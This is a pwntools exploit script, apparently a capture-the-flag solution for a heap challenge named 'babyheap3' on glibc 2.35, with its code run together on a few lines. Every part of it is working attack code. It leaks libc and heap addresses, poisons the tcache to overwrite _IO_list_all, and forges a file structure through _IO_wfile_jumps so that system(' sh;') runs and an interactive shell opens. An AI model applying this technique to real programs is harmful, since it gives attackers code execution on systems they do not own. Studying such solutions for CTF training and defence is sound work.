1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import * def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m' EXE = './babyheap3' context.arch = 'amd64' ARGS = { 'gdb_args': [ '-iex', 'set debug-file-directory /libraries/2.35-0ubuntu3.15/.debug', '-iex', 'set directories /usr/src/debug/glibc-2.35'], }
def payload(lo: int): global t if lo: t = process(EXE) if lo & 2: gdb.attach(t, **ARGS) else: t = remote('', 9999) elf = ELF(EXE) libc = elf.libc
def create(idx: int, size: int): t.sendlineafter(b'choice', b'1') t.sendlineafter(b'index', str(idx).encode()) t.sendlineafter(b'size', str(size).encode())
def revise(idx: int, buf: bytes): t.sendlineafter(b'choice', b'2') t.sendlineafter(b'index', str(idx).encode()) t.sendlineafter(b'length', str(len(buf)).encode()) t.sendafter(b'data', buf)
def inspect(idx: int) -> bytes: t.sendlineafter(b'choice', b'3') t.sendlineafter(b'index', str(idx).encode()) t.recvuntil(b'data: ') return t.recvuntil(b'\n1. create', drop=True)
def discard(idx: int): t.sendlineafter(b'choice', b'4') t.sendlineafter(b'index', str(idx).encode())
def leave(): t.sendlineafter(b'choice', b'5')
create(0, 0xf8) create(1, 0xf8) create(2, 0xf8) create(15, 0x420) create(3, 0xf8) discard(15) discard(0)
libc_base = u64(inspect(15)[:8]) - 0x21ace0 success(GOLD_TEXT(f'Leak libc_base: {libc_base:#x}')) libc.address = libc_base
heap_base = u64(inspect(0)[:8]) << 12 success(GOLD_TEXT(f'Leak heap_base: {heap_base:#x}'))
def PROTECT_PTR(val: int, pos: int) -> int: return (pos >> 12) ^ val
discard(1) discard(2) revise(1, p64(PROTECT_PTR(libc.symbols['_IO_list_all'], heap_base))) heap = heap_base + 0x9d0 revise(3, flat({ 0: b' sh;\0', 0x28: 1, 0x68: libc.symbols['system'], 0x88: heap - 0x10, 0xa0: heap, 0xd8: libc.symbols['_IO_wfile_jumps'], 0xe0: heap, 0xe8: 0, }, filler=b'\0'))
create(4, 0xf8) create(5, 0xf8) create(6, 0xf8) revise(6, p64(heap))
leave() t.clean() t.interactive() t.close()
|